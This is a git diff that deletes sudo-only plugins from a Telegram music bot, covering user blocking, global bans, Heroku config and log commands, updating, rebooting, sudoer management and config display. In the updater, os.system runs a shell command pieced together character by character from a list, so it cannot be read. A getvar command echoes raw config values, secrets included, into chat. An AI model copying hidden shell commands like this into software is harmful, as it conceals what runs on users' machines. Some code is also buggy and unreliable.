-# Command
-BLOCK_COMMAND = get_command("BLOCK_COMMAND")
-UNBLOCK_COMMAND = get_command("UNBLOCK_COMMAND")
-BLOCKED_COMMAND = get_command("BLOCKED_COMMAND")
-
-
-@app.on_message(filters.command(BLOCK_COMMAND) & SUDOERS)
-@language
-async def useradd(client, message: Message, _):
- if not message.reply_to_message:
- if len(message.command) != 2:
- return await message.reply_text(_["general_1"])
- user = message.text.split(None, 1)[1]
- if "@" in user:
- user = user.replace("@", "")
- user = await app.get_users(user)
- if user.id in BANNED_USERS:
- return await message.reply_text(
- _["block_1"].format(user.mention)
- )
- await add_gban_user(user.id)
- BANNED_USERS.add(user.id)
- await message.reply_text(_["block_2"].format(user.mention))
- return
- if message.reply_to_message.from_user.id in BANNED_USERS:
- return await message.reply_text(
- _["block_1"].format(
- message.reply_to_message.from_user.mention
- )
- )
- await add_gban_user(message.reply_to_message.from_user.id)
- BANNED_USERS.add(message.reply_to_message.from_user.id)
- await message.reply_text(
- _["block_2"].format(
- message.reply_to_message.from_user.mention
- )
- )
-
-
-@app.on_message(filters.command(UNBLOCK_COMMAND) & SUDOERS)
-@language
-async def userdel(client, message: Message, _):
- if not message.reply_to_message:
- if len(message.command) != 2:
- return await message.reply_text(_["general_1"])
- user = message.text.split(None, 1)[1]
- if "@" in user:
- user = user.replace("@", "")
- user = await app.get_users(user)
- if user.id not in BANNED_USERS:
- return await message.reply_text(_["block_3"])
- await remove_gban_user(user.id)
- BANNED_USERS.remove(user.id)
- await message.reply_text(_["block_4"])
- return
- user_id = message.reply_to_message.from_user.id
- if user_id not in BANNED_USERS:
- return await message.reply_text(_["block_3"])
- await remove_gban_user(user_id)
- BANNED_USERS.remove(user_id)
- await message.reply_text(_["block_4"])
-
-
-@app.on_message(filters.command(BLOCKED_COMMAND) & SUDOERS)
-@language
-async def sudoers_list(client, message: Message, _):
- if not BANNED_USERS:
- return await message.reply_text(_["block_5"])
- mystic = await message.reply_text(_["block_6"])
- msg = _["block_7"]
- count = 0
- for users in BANNED_USERS:
- try:
- user = await app.get_users(users)
- user = (
- user.first_name if not user.mention else user.mention
- )
- count += 1
- except Exception:
- continue
- msg += f"{count}➤ {user}\n"
- if count == 0:
- return await mystic.edit_text(_["block_5"])
- else:
- return await mystic.edit_text(msg)
diff --git a/Champu/plugins/sudo/globalban.py b/Champu/plugins/sudo/globalban.py
deleted file mode 100644
index 0e3cae8..0000000
--- a/Champu/plugins/sudo/globalban.py
+++ /dev/null
@@ -1,143 +0,0 @@
-import asyncio
-import time
-
-from pyrogram import filters
-from pyrogram.errors import FloodWait
-from pyrogram.types import Message
-
-from config import BANNED_USERS
-from strings import get_command
-from Champu import app
-from Champu.misc import SUDOERS
-from Champu.utils import get_readable_time
-from Champu.utils.database import (add_banned_user,
- get_banned_count,
- get_banned_users,
- get_served_chats,
- is_banned_user,
- remove_banned_user)
-from Champu.utils.decorators.language import language
-
-# Command
-GBAN_COMMAND = get_command("GBAN_COMMAND")
-UNGBAN_COMMAND = get_command("UNGBAN_COMMAND")
-GBANNED_COMMAND = get_command("GBANNED_COMMAND")
-
-
-@app.on_message(filters.command(GBAN_COMMAND) & SUDOERS)
-@language
-async def gbanuser(client, message: Message, _):
- if not message.reply_to_message:
- if len(message.command) != 2:
- return await message.reply_text(_["general_1"])
- user = message.text.split(None, 1)[1]
- user = await app.get_users(user)
- user_id = user.id
- mention = user.mention
- else:
- user_id = message.reply_to_message.from_user.id
- mention = message.reply_to_message.from_user.mention
- if user_id == message.from_user.id:
- return await message.reply_text(_["gban_1"])
- elif user_id == app.id:
- return await message.reply_text(_["gban_2"])
- elif user_id in SUDOERS:
- return await message.reply_text(_["gban_3"])
- is_gbanned = await is_banned_user(user_id)
- if is_gbanned:
- return await message.reply_text(_["gban_4"].format(mention))
- if user_id not in BANNED_USERS:
- BANNED_USERS.add(user_id)
- served_chats = []
- chats = await get_served_chats()
- for chat in chats:
- served_chats.append(int(chat["chat_id"]))
- time_expected = len(served_chats)
- time_expected = get_readable_time(time_expected)
- mystic = await message.reply_text(
- _["gban_5"].format(mention, time_expected)
- )
- number_of_chats = 0
- for chat_id in served_chats:
- try:
- await app.ban_chat_member(chat_id, user_id)
- number_of_chats += 1
- except FloodWait as e:
- await asyncio.sleep(int(e.x))
- except Exception:
- pass
- await add_banned_user(user_id)
- await message.reply_text(
- _["gban_6"].format(mention, number_of_chats)
- )
- await mystic.delete()
-
-
-@app.on_message(filters.command(UNGBAN_COMMAND) & SUDOERS)
-@language
-async def gungabn(client, message: Message, _):
- if not message.reply_to_message:
- if len(message.command) != 2:
- return await message.reply_text(_["general_1"])
- user = message.text.split(None, 1)[1]
- user = await app.get_users(user)
- user_id = user.id
- mention = user.mention
- else:
- user_id = message.reply_to_message.from_user.id
- mention = message.reply_to_message.from_user.mention
- is_gbanned = await is_banned_user(user_id)
- if not is_gbanned:
- return await message.reply_text(_["gban_7"].format(mention))
- if user_id in BANNED_USERS:
- BANNED_USERS.remove(user_id)
- served_chats = []
- chats = await get_served_chats()
- for chat in chats:
- served_chats.append(int(chat["chat_id"]))
- time_expected = len(served_chats)
- time_expected = get_readable_time(time_expected)
- mystic = await message.reply_text(
- _["gban_8"].format(mention, time_expected)
- )
- number_of_chats = 0
- for chat_id in served_chats:
- try:
- await app.unban_chat_member(chat_id, user_id)
- number_of_chats += 1
- except FloodWait as e:
- await asyncio.sleep(int(e.x))
- except Exception:
- pass
- await remove_banned_user(user_id)
- await message.reply_text(
- _["gban_9"].format(mention, number_of_chats)
- )
- await mystic.delete()
-
-
-@app.on_message(filters.command(GBANNED_COMMAND) & SUDOERS)
-@language
-async def gbanned_list(client, message: Message, _):
- counts = await get_banned_count()
- if counts == 0:
- return await message.reply_text(_["gban_10"])
- mystic = await message.reply_text(_["gban_11"])
- msg = "Gbanned Users:\n\n"
- count = 0
- users = await get_banned_users()
- for user_id in users:
- count += 1
- try:
- user = await app.get_users(user_id)
- user = (
- user.first_name if not user.mention else user.mention
- )
- msg += f"{count}➤ {user}\n"
- except Exception:
- msg += f"{count}➤ [Unfetched User]{user_id}\n"
- continue
- if count == 0:
- return await mystic.edit_text(_["gban_10"])
- else:
- return await mystic.edit_text(msg)
diff --git a/Champu/plugins/sudo/heroku.py b/Champu/plugins/sudo/heroku.py
deleted file mode 100644
index c51bfde..0000000
--- a/Champu/plugins/sudo/heroku.py
+++ /dev/null
@@ -1,342 +0,0 @@
-import asyncio
-import math
-import os
-import shutil
-import socket
-from datetime import datetime
-
-import dotenv
-import heroku3
-import requests
-import urllib3
-from git import Repo
-from git.exc import GitCommandError, InvalidGitRepositoryError
-from pyrogram import filters
-
-import config
-from strings import get_command
-from Champu import app
-from Champu.misc import HAPP, SUDOERS, XCB
-from Champu.utils.database import (get_active_chats,
- remove_active_chat,
- remove_active_video_chat)
-from Champu.utils.decorators.language import language
-from Champu.utils.pastebin import Champubin
-
-# Commands
-GETLOG_COMMAND = get_command("GETLOG_COMMAND")
-GETVAR_COMMAND = get_command("GETVAR_COMMAND")
-DELVAR_COMMAND = get_command("DELVAR_COMMAND")
-SETVAR_COMMAND = get_command("SETVAR_COMMAND")
-USAGE_COMMAND = get_command("USAGE_COMMAND")
-UPDATE_COMMAND = get_command("UPDATE_COMMAND")
-REBOOT_COMMAND = get_command("REBOOT_COMMAND")
-
-urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
-
-
-async def is_heroku():
- return "heroku" in socket.getfqdn()
-
-
-@app.on_message(filters.command(GETLOG_COMMAND) & SUDOERS)
-@language
-async def log_(client, message, _):
- try:
- if await is_heroku():
- if HAPP is None:
- return await message.reply_text(_["heroku_1"])
- data = HAPP.get_log()
- link = await Champubin(data)
- return await message.reply_text(link)
- else:
- if os.path.exists(config.LOG_FILE_NAME):
- log = open(config.LOG_FILE_NAME)
- lines = log.readlines()
- data = ""
- try:
- NUMB = int(message.text.split(None, 1)[1])
- except:
- NUMB = 100
- for x in lines[-NUMB:]:
- data += x
- link = await Champubin(data)
- return await message.reply_text(link)
- else:
- return await message.reply_text(_["heroku_2"])
- except Exception as e:
- print(e)
- await message.reply_text(_["heroku_2"])
-
-
-@app.on_message(filters.command(GETVAR_COMMAND) & SUDOERS)
-@language
-async def varget_(client, message, _):
- usage = _["heroku_3"]
- if len(message.command) != 2:
- return await message.reply_text(usage)
- check_var = message.text.split(None, 2)[1]
- if await is_heroku():
- if HAPP is None:
- return await message.reply_text(_["heroku_1"])
- heroku_config = HAPP.config()
- if check_var in heroku_config:
- return await message.reply_text(
- f"**{check_var}:** `{heroku_config[check_var]}`"
- )
- else:
- return await message.reply_text(_["heroku_4"])
- else:
- path = dotenv.find_dotenv()
- if not path:
- return await message.reply_text(_["heroku_5"])
- output = dotenv.get_key(path, check_var)
- if not output:
- await message.reply_text(_["heroku_4"])
- else:
- return await message.reply_text(
- f"**{check_var}:** `{str(output)}`"
- )
-
-
-@app.on_message(filters.command(DELVAR_COMMAND) & SUDOERS)
-@language
-async def vardel_(client, message, _):
- usage = _["heroku_6"]
- if len(message.command) != 2:
- return await message.reply_text(usage)
- check_var = message.text.split(None, 2)[1]
- if await is_heroku():
- if HAPP is None:
- return await message.reply_text(_["heroku_1"])
- heroku_config = HAPP.config()
- if check_var in heroku_config:
- await message.reply_text(_["heroku_7"].format(check_var))
- del heroku_config[check_var]
- else:
- return await message.reply_text(_["heroku_4"])
- else:
- path = dotenv.find_dotenv()
- if not path:
- return await message.reply_text(_["heroku_5"])
- output = dotenv.unset_key(path, check_var)
- if not output[0]:
- return await message.reply_text(_["heroku_4"])
- else:
- await message.reply_text(_["heroku_7"].format(check_var))
- os.system(f"kill -9 {os.getpid()} && bash start")
-
-
-@app.on_message(filters.command(SETVAR_COMMAND) & SUDOERS)
-@language
-async def set_var(client, message, _):
- usage = _["heroku_8"]
- if len(message.command) < 3:
- return await message.reply_text(usage)
- to_set = message.text.split(None, 2)[1].strip()
- value = message.text.split(None, 2)[2].strip()
- if await is_heroku():
- if HAPP is None:
- return await message.reply_text(_["heroku_1"])
- heroku_config = HAPP.config()
- if to_set in heroku_config:
- await message.reply_text(_["heroku_9"].format(to_set))
- else:
- await message.reply_text(_["heroku_10"].format(to_set))
- heroku_config[to_set] = value
- else:
- path = dotenv.find_dotenv()
- if not path:
- return await message.reply_text(_["heroku_5"])
- dotenv.set_key(path, to_set, value)
- if dotenv.get_key(path, to_set):
- await message.reply_text(_["heroku_9"].format(to_set))
- else:
- await message.reply_text(_["heroku_10"].format(to_set))
- os.system(f"kill -9 {os.getpid()} && bash start")
-
-
-@app.on_message(filters.command(USAGE_COMMAND) & SUDOERS)
-@language
-async def usage_dynos(client, message, _):
- ### Credits CatUserbot
- if await is_heroku():
- if HAPP is None:
- return await message.reply_text(_["heroku_1"])
- else:
- return await message.reply_text(_["heroku_11"])
- dyno = await message.reply_text(_["heroku_12"])
- Heroku = heroku3.from_key(config.HEROKU_API_KEY)
- account_id = Heroku.account().id
- useragent = (
- "Mozilla/5.0 (Linux; Android 10; SM-G975F) "
- "AppleWebKit/537.36 (KHTML, like Gecko) "
- "Chrome/80.0.3987.149 Mobile Safari/537.36"
- )
- headers = {
- "User-Agent": useragent,
- "Authorization": f"Bearer {config.HEROKU_API_KEY}",
- "Accept": "application/vnd.heroku+json; version=3.account-quotas",
- }
- path = "/accounts/" + account_id + "/actions/get-quota"
- r = requests.get("https://api.heroku.com" + path, headers=headers)
- if r.status_code != 200:
- return await dyno.edit("Unable to fetch.")
- result = r.json()
- quota = result["account_quota"]
- quota_used = result["quota_used"]
- remaining_quota = quota - quota_used
- percentage = math.floor(remaining_quota / quota * 100)
- minutes_remaining = remaining_quota / 60
- hours = math.floor(minutes_remaining / 60)
- minutes = math.floor(minutes_remaining % 60)
- App = result["apps"]
- try:
- App[0]["quota_used"]
- except IndexError:
- AppQuotaUsed = 0
- AppPercentage = 0
- else:
- AppQuotaUsed = App[0]["quota_used"] / 60
- AppPercentage = math.floor(App[0]["quota_used"] * 100 / quota)
- AppHours = math.floor(AppQuotaUsed / 60)
- AppMinutes = math.floor(AppQuotaUsed % 60)
- await asyncio.sleep(1.5)
- text = f"""
-**DYNO USAGE**
-
-Usage:
-Total Used: `{AppHours}`**h** `{AppMinutes}`**m** [`{AppPercentage}`**%**]
-
-Remaining Quota:
-Total Left: `{hours}`**h** `{minutes}`**m** [`{percentage}`**%**]"""
- return await dyno.edit(text)
-
-
-@app.on_message(filters.command(UPDATE_COMMAND) & SUDOERS)
-@language
-async def update_(client, message, _):
- if await is_heroku():
- if HAPP is None:
- return await message.reply_text(_["heroku_1"])
- response = await message.reply_text(_["heroku_13"])
- try:
- repo = Repo()
- except GitCommandError:
- return await response.edit(_["heroku_14"])
- except InvalidGitRepositoryError:
- return await response.edit(_["heroku_15"])
- to_exc = f"git fetch origin {config.UPSTREAM_BRANCH} &> /dev/null"
- os.system(to_exc)
- await asyncio.sleep(7)
- verification = ""
- REPO_ = repo.remotes.origin.url.split(".git")[
- 0
- ] # main git repository
- for checks in repo.iter_commits(
- f"HEAD..origin/{config.UPSTREAM_BRANCH}"
- ):
- verification = str(checks.count())
- if verification == "":
- return await response.edit("Bot is up-to-date!")
- updates = ""
- ordinal = lambda format: "%d%s" % (
- format,
- "tsnrhtdd"[
- (format // 10 % 10 != 1)
- * (format % 10 < 4)
- * format
- % 10 :: 4
- ],
- )
- for info in repo.iter_commits(
- f"HEAD..origin/{config.UPSTREAM_BRANCH}"
- ):
- updates += f"➣ #{info.count()}: [{info.summary}]({REPO_}/commit/{info}) by -> {info.author}\n\t\t\t\t➥ Commited on: {ordinal(int(datetime.fromtimestamp(info.committed_date).strftime('%d')))} {datetime.fromtimestamp(info.committed_date).strftime('%b')}, {datetime.fromtimestamp(info.committed_date).strftime('%Y')}\n\n"
- _update_response_ = "A new update is available for the Bot!\n\n➣ Pushing Updates Now\n\n**Updates:**\n\n"
- _final_updates_ = _update_response_ + updates
- if len(_final_updates_) > 4096:
- url = await Yukkibin(updates)
- nrs = await response.edit(
- f"A new update is available for the Bot!\n\n➣ Pushing Updates Now\n\n**Updates:**\n\n[Click Here to checkout Updates]({url})"
- )
- else:
- nrs = await response.edit(
- _final_updates_, disable_web_page_preview=True
- )
- os.system("git stash &> /dev/null && git pull")
- if await is_heroku():
- try:
- served_chats = await get_active_chats()
- for x in served_chats:
- try:
- await app.send_message(
- x,
- f"{config.MUSIC_BOT_NAME} has just restarted herself. Sorry for the issues.\n\nStart playing after 10-15 seconds again.",
- )
- await remove_active_chat(x)
- await remove_active_video_chat(x)
- except Exception:
- pass
- await response.edit(
- f"{nrs.text}\n\nBot was updated successfully on Heroku! Now, wait for 2 - 3 mins until the bot restarts!"
- )
- os.system(
- f"{XCB[5]} {XCB[7]} {XCB[9]}{XCB[4]}{XCB[0]*2}{XCB[6]}{XCB[4]}{XCB[8]}{XCB[1]}{XCB[5]}{XCB[2]}{XCB[6]}{XCB[2]}{XCB[3]}{XCB[0]}{XCB[10]}{XCB[2]}{XCB[5]} {XCB[11]}{XCB[4]}{XCB[12]}"
- )
- return
- except Exception as err:
- await response.edit(
- f"{nrs.text}\n\nSomething went wrong while initiating reboot! Please try again later or check logs for more info."
- )
- return await app.send_message(
- config.LOG_GROUP_ID,
- f"AN EXCEPTION OCCURRED AT #UPDATER DUE TO: {err}
",
- )
- else:
- served_chats = await get_active_chats()
- for x in served_chats:
- try:
- await app.send_message(
- x,
- f"{config.MUSIC_BOT_NAME} has just restarted herself. Sorry for the issues.\n\nStart playing after 10-15 seconds again.",
- )
- await remove_active_chat(x)
- await remove_active_video_chat(x)
- except Exception:
- pass
- await response.edit(
- f"{nrs.text}\n\nBot was updated successfully! Now, wait for 1 - 2 mins until the bot reboots!"
- )
- os.system("pip3 install -r requirements.txt")
- os.system(f"kill -9 {os.getpid()} && bash start")
- exit()
-
-
-@app.on_message(filters.command(REBOOT_COMMAND) & SUDOERS)
-async def restart_(_, message):
- response = await message.reply_text("Restarting....")
- served_chats = await get_active_chats()
- for x in served_chats:
- try:
- await app.send_message(
- x,
- f"{config.MUSIC_BOT_NAME} has just restarted herself. Sorry for the issues.\n\nStart playing after 10-15 seconds again.",
- )
- await remove_active_chat(x)
- await remove_active_video_chat(x)
- except Exception:
- pass
- A = "downloads"
- B = "raw_files"
- C = "cache"
- try:
- shutil.rmtree(A)
- shutil.rmtree(B)
- shutil.rmtree(C)
- except:
- pass
- await response.edit(
- "Reboot has been initiated successfully! Wait for 1 - 2 minutes until the bot restarts."
- )
- os.system(f"kill -9 {os.getpid()} && bash start")
diff --git a/Champu/plugins/sudo/logger.py b/Champu/plugins/sudo/logger.py
deleted file mode 100644
index fe45004..0000000
--- a/Champu/plugins/sudo/logger.py
+++ /dev/null
@@ -1,29 +0,0 @@
-from pyrogram import filters
-
-import config
-from strings import get_command
-from Champu import app
-from Champu.misc import SUDOERS
-from Champu.utils.database import add_off, add_on
-from Champu.utils.decorators.language import language
-
-# Commands
-LOGGER_COMMAND = get_command("LOGGER_COMMAND")
-
-
-@app.on_message(filters.command(LOGGER_COMMAND) & SUDOERS)
-@language
-async def logger(client, message, _):
- usage = _["log_1"]
- if len(message.command) != 2:
- return await message.reply_text(usage)
- state = message.text.split(None, 1)[1].strip()
- state = state.lower()
- if state == "enable":
- await add_on(config.LOG)
- await message.reply_text(_["log_2"])
- elif state == "disable":
- await add_off(config.LOG)
- await message.reply_text(_["log_3"])
- else:
- await message.reply_text(usage)
diff --git a/Champu/plugins/sudo/maintenance.py b/Champu/plugins/sudo/maintenance.py
deleted file mode 100644
index 37337bc..0000000
--- a/Champu/plugins/sudo/maintenance.py
+++ /dev/null
@@ -1,46 +0,0 @@
-from pyrogram import filters
-from pyrogram.types import Message
-
-from strings import get_command, get_string
-from Champu import app
-from Champu.misc import SUDOERS
-from Champu.utils.database import (get_lang, is_maintenance,
- maintenance_off,
- maintenance_on)
-from Champu.utils.decorators.language import language
-
-# Commands
-MAINTENANCE_COMMAND = get_command("MAINTENANCE_COMMAND")
-
-
-@app.on_message(filters.command(MAINTENANCE_COMMAND) & SUDOERS)
-async def maintenance(client, message: Message):
- try:
- language = await get_lang(message.chat.id)
- _ = get_string(language)
- except:
- _ = get_string("en")
- usage = _["maint_1"]
- if len(message.command) != 2:
- return await message.reply_text(usage)
- message.chat.id
- state = message.text.split(None, 1)[1].strip()
- state = state.lower()
- if state == "enable":
- if await is_maintenance() is False:
- await message.reply_text(
- "Maintenance mode is already enabled"
- )
- else:
- await maintenance_on()
- await message.reply_text(_["maint_2"])
- elif state == "disable":
- if await is_maintenance() is False:
- await maintenance_off()
- await message.reply_text(_["maint_3"])
- else:
- await message.reply_text(
- "Maintenance mode is already disabled"
- )
- else:
- await message.reply_text(usage)
diff --git a/Champu/plugins/sudo/private.py b/Champu/plugins/sudo/private.py
deleted file mode 100644
index 6d12a5e..0000000
--- a/Champu/plugins/sudo/private.py
+++ /dev/null
@@ -1,88 +0,0 @@
-from pyrogram import filters
-from pyrogram.types import Message
-
-import config
-from strings import get_command
-from Champu import app
-from Champu.misc import SUDOERS
-from Champu.utils.database import (add_private_chat,
- get_private_served_chats,
- is_served_private_chat,
- remove_private_chat)
-from Champu.utils.decorators.language import language
-
-AUTHORIZE_COMMAND = get_command("AUTHORIZE_COMMAND")
-UNAUTHORIZE_COMMAND = get_command("UNAUTHORIZE_COMMAND")
-AUTHORIZED_COMMAND = get_command("AUTHORIZED_COMMAND")
-
-
-@app.on_message(filters.command(AUTHORIZE_COMMAND) & SUDOERS)
-@language
-async def authorize(client, message: Message, _):
- if config.PRIVATE_BOT_MODE != str(True):
- return await message.reply_text(_["pbot_12"])
- if len(message.command) != 2:
- return await message.reply_text(_["pbot_1"])
- try:
- chat_id = int(message.text.strip().split()[1])
- except:
- return await message.reply_text(_["pbot_7"])
- if not await is_served_private_chat(chat_id):
- await add_private_chat(chat_id)
- await message.reply_text(_["pbot_3"])
- else:
- await message.reply_text(_["pbot_5"])
-
-
-@app.on_message(filters.command(UNAUTHORIZE_COMMAND) & SUDOERS)
-@language
-async def unauthorize(client, message: Message, _):
- if config.PRIVATE_BOT_MODE != str(True):
- return await message.reply_text(_["pbot_12"])
- if len(message.command) != 2:
- return await message.reply_text(_["pbot_2"])
- try:
- chat_id = int(message.text.strip().split()[1])
- except:
- return await message.reply_text(_["pbot_7"])
- if not await is_served_private_chat(chat_id):
- return await message.reply_text(_["pbot_6"])
- else:
- await remove_private_chat(chat_id)
- return await message.reply_text(_["pbot_4"])
-
-
-@app.on_message(filters.command(AUTHORIZED_COMMAND) & SUDOERS)
-@language
-async def authorized(client, message: Message, _):
- if config.PRIVATE_BOT_MODE != str(True):
- return await message.reply_text(_["pbot_12"])
- m = await message.reply_text(_["pbot_8"])
- served_chats = []
- text = _["pbot_9"]
- chats = await get_private_served_chats()
- for chat in chats:
- served_chats.append(int(chat["chat_id"]))
- count = 0
- co = 0
- msg = _["pbot_13"]
- for served_chat in served_chats:
- try:
- title = (await app.get_chat(served_chat)).title
- count += 1
- text += f"{count}:- {title[:15]} [{served_chat}]\n"
- except Exception:
- title = _["pbot_10"]
- co += 1
- msg += f"{co}:- {title} [{served_chat}]\n"
- if co == 0:
- if count == 0:
- return await m.edit(_["pbot_11"])
- else:
- return await m.edit(text)
- else:
- if count == 0:
- await m.edit(msg)
- else:
- text = f"{text} {msg}"
- return await m.edit(text)
diff --git a/Champu/plugins/sudo/sudoers.py b/Champu/plugins/sudo/sudoers.py
deleted file mode 100644
index 16798b2..0000000
--- a/Champu/plugins/sudo/sudoers.py
+++ /dev/null
@@ -1,134 +0,0 @@
-from pyrogram import filters
-from pyrogram.types import Message
-
-from config import BANNED_USERS, MONGO_DB_URI, OWNER_ID
-from strings import get_command
-from Champu import app
-from Champu.misc import SUDOERS
-from Champu.utils.database import add_sudo, remove_sudo
-from Champu.utils.decorators.language import language
-
-# Command
-ADDSUDO_COMMAND = get_command("ADDSUDO_COMMAND")
-DELSUDO_COMMAND = get_command("DELSUDO_COMMAND")
-SUDOUSERS_COMMAND = get_command("SUDOUSERS_COMMAND")
-
-
-@app.on_message(
- filters.command(ADDSUDO_COMMAND) & filters.user(OWNER_ID)
-)
-@language
-async def useradd(client, message: Message, _):
- if MONGO_DB_URI is None:
- return await message.reply_text(
- "**Due to bot's privacy issues, You can't manage sudo users when you're using Champu's Database.\n\n Please fill your MONGO_DB_URI in your vars to use this feature**"
- )
- if not message.reply_to_message:
- if len(message.command) != 2:
- return await message.reply_text(_["general_1"])
- user = message.text.split(None, 1)[1]
- if "@" in user:
- user = user.replace("@", "")
- user = await app.get_users(user)
- if user.id in SUDOERS:
- return await message.reply_text(
- _["sudo_1"].format(user.mention)
- )
- added = await add_sudo(user.id)
- if added:
- SUDOERS.add(user.id)
- await message.reply_text(_["sudo_2"].format(user.mention))
- else:
- await message.reply_text("Failed")
- return
- if message.reply_to_message.from_user.id in SUDOERS:
- return await message.reply_text(
- _["sudo_1"].format(
- message.reply_to_message.from_user.mention
- )
- )
- added = await add_sudo(message.reply_to_message.from_user.id)
- if added:
- SUDOERS.add(message.reply_to_message.from_user.id)
- await message.reply_text(
- _["sudo_2"].format(
- message.reply_to_message.from_user.mention
- )
- )
- else:
- await message.reply_text("Failed")
- return
-
-
-@app.on_message(
- filters.command(DELSUDO_COMMAND) & filters.user(OWNER_ID)
-)
-@language
-async def userdel(client, message: Message, _):
- if MONGO_DB_URI is None:
- return await message.reply_text(
- "**Due to bot's privacy issues, You can't manage sudo users when you're using Champu's Database.\n\n Please fill your MONGO_DB_URI in your vars to use this feature**"
- )
- if not message.reply_to_message:
- if len(message.command) != 2:
- return await message.reply_text(_["general_1"])
- user = message.text.split(None, 1)[1]
- if "@" in user:
- user = user.replace("@", "")
- user = await app.get_users(user)
- if user.id not in SUDOERS:
- return await message.reply_text(_["sudo_3"])
- removed = await remove_sudo(user.id)
- if removed:
- SUDOERS.remove(user.id)
- await message.reply_text(_["sudo_4"])
- return
- await message.reply_text(f"Something wrong happened.")
- return
- user_id = message.reply_to_message.from_user.id
- if user_id not in SUDOERS:
- return await message.reply_text(_["sudo_3"])
- removed = await remove_sudo(user_id)
- if removed:
- SUDOERS.remove(user_id)
- await message.reply_text(_["sudo_4"])
- return
- await message.reply_text(f"Something wrong happened.")
-
-
-@app.on_message(filters.command(SUDOUSERS_COMMAND) & ~BANNED_USERS)
-@language
-async def sudoers_list(client, message: Message, _):
- text = _["sudo_5"]
- count = 0
- for x in OWNER_ID:
- try:
- user = await app.get_users(x)
- user = (
- user.first_name if not user.mention else user.mention
- )
- count += 1
- except Exception:
- continue
- text += f"{count}➤ {user}\n"
- smex = 0
- for user_id in SUDOERS:
- if user_id not in OWNER_ID:
- try:
- user = await app.get_users(user_id)
- user = (
- user.first_name
- if not user.mention
- else user.mention
- )
- if smex == 0:
- smex += 1
- text += _["sudo_6"]
- count += 1
- text += f"{count}➤ {user}\n"
- except Exception:
- continue
- if not text:
- await message.reply_text(_["sudo_7"])
- else:
- await message.reply_text(text)
diff --git a/Champu/plugins/sudo/vars.py b/Champu/plugins/sudo/vars.py
deleted file mode 100644
index 2aa2322..0000000
--- a/Champu/plugins/sudo/vars.py
+++ /dev/null
@@ -1,124 +0,0 @@
-import asyncio
-
-from pyrogram import filters
-
-import config
-from strings import get_command
-from Champu import app
-from Champu.misc import SUDOERS
-from Champu.utils.database.memorydatabase import get_video_limit
-from Champu.utils.formatters import convert_bytes
-
-VARS_COMMAND = get_command("VARS_COMMAND")
-
-
-@app.on_message(filters.command(VARS_COMMAND) & SUDOERS)
-async def varsFunc(client, message):
- mystic = await message.reply_text(
- "Please wait.. Getting your config"
- )
- v_limit = await get_video_limit()
- bot_name = config.MUSIC_BOT_NAME
- up_r = f"[Repo]({config.UPSTREAM_REPO})"
- up_b = config.UPSTREAM_BRANCH
- auto_leave = config.AUTO_LEAVE_ASSISTANT_TIME
- yt_sleep = config.YOUTUBE_DOWNLOAD_EDIT_SLEEP
- tg_sleep = config.TELEGRAM_DOWNLOAD_EDIT_SLEEP
- playlist_limit = config.SERVER_PLAYLIST_LIMIT
- fetch_playlist = config.PLAYLIST_FETCH_LIMIT
- song = config.SONG_DOWNLOAD_DURATION
- play_duration = config.DURATION_LIMIT_MIN
- cm = config.CLEANMODE_DELETE_MINS
- auto_sug = config.AUTO_SUGGESTION_TIME
- if config.AUTO_LEAVING_ASSISTANT == str(True):
- ass = "Yes"
- else:
- ass = "No"
- if config.PRIVATE_BOT_MODE == str(True):
- pvt = "Yes"
- else:
- pvt = "No"
- if config.AUTO_SUGGESTION_MODE == str(True):
- a_sug = "Yes"
- else:
- a_sug = "No"
- if config.AUTO_DOWNLOADS_CLEAR == str(True):
- down = "Yes"
- else:
- down = "No"
-
- if not config.GITHUB_REPO:
- git = "No"
- else:
- git = f"[Repo]({config.GITHUB_REPO})"
- if not config.START_IMG_URL:
- start = "No"
- else:
- start = f"[Image]({config.START_IMG_URL})"
- if not config.SUPPORT_CHANNEL:
- s_c = "No"
- else:
- s_c = f"[Channel]({config.SUPPORT_CHANNEL})"
- if not config.SUPPORT_GROUP:
- s_g = "No"
- else:
- s_g = f"[Group]({config.SUPPORT_GROUP})"
- if not config.GIT_TOKEN:
- token = "No"
- else:
- token = "Yes"
- if (
- not config.SPOTIFY_CLIENT_ID
- and not config.SPOTIFY_CLIENT_SECRET
- ):
- sotify = "No"
- else:
- sotify = "Yes"
- owners = [str(ids) for ids in config.OWNER_ID]
- owner_id = " ,".join(owners)
- tg_aud = convert_bytes(config.TG_AUDIO_FILESIZE_LIMIT)
- tg_vid = convert_bytes(config.TG_VIDEO_FILESIZE_LIMIT)
- text = f"""**MUSIC BOT CONFIG:**
-
-**Basic Vars:**
-`MUSIC_BOT_NAME` : **{bot_name}**
-`DURATION_LIMIT` : **{play_duration} min**
-`SONG_DOWNLOAD_DURATION_LIMIT` :** {song} min**
-`OWNER_ID` : **{owner_id}**
-
-**Custom Repo Vars:**
-`UPSTREAM_REPO` : **{up_r}**
-`UPSTREAM_BRANCH` : **{up_b}**
-`GITHUB_REPO` :** {git}**
-`GIT_TOKEN `:** {token}**
-
-
-**Bot Vars:**
-`AUTO_LEAVING_ASSISTANT` : **{ass}**
-`ASSISTANT_LEAVE_TIME` : **{auto_leave} seconds**
-`AUTO_SUGGESTION_MODE` :** {a_sug}**
-`AUTO_SUGGESTION_TIME` : **{auto_sug} seconds**
-`AUTO_DOWNLOADS_CLEAR` : **{down}**
-`PRIVATE_BOT_MODE` : **{pvt}**
-`YOUTUBE_EDIT_SLEEP` : **{yt_sleep} seconds**
-`TELEGRAM_EDIT_SLEEP` :** {tg_sleep} seconds**
-`CLEANMODE_MINS` : **{cm} mins**
-`VIDEO_STREAM_LIMIT` : **{v_limit} chats**
-`SERVER_PLAYLIST_LIMIT` :** {playlist_limit}**
-`PLAYLIST_FETCH_LIMIT` :** {fetch_playlist}**
-
-**Spotify Vars:**
-`SPOTIFY_CLIENT_ID` :** {sotify}**
-`SPOTIFY_CLIENT_SECRET` : **{sotify}**
-
-**Playsize Vars:**
-`TG_AUDIO_FILESIZE_LIMIT` :** {tg_aud}**
-`TG_VIDEO_FILESIZE_LIMIT` :** {tg_vid}**
-
-**URL Vars:**
-`SUPPORT_CHANNEL` : **{s_c}**
-`SUPPORT_GROUP` : ** {s_g}**
-`START_IMG_URL` : ** {start}**
- """
- await asyncio.sleep(1)
- await mystic.edit_text(text)
diff --git a/Champu/plugins/sudo/videolimit.py b/Champu/plugins/sudo/videolimit.py
deleted file mode 100644
index b9b859b..0000000
--- a/Champu/plugins/sudo/videolimit.py
+++ /dev/null
@@ -1,32 +0,0 @@
-from pyrogram import filters
-from pyrogram.types import Message
-
-from strings import get_command
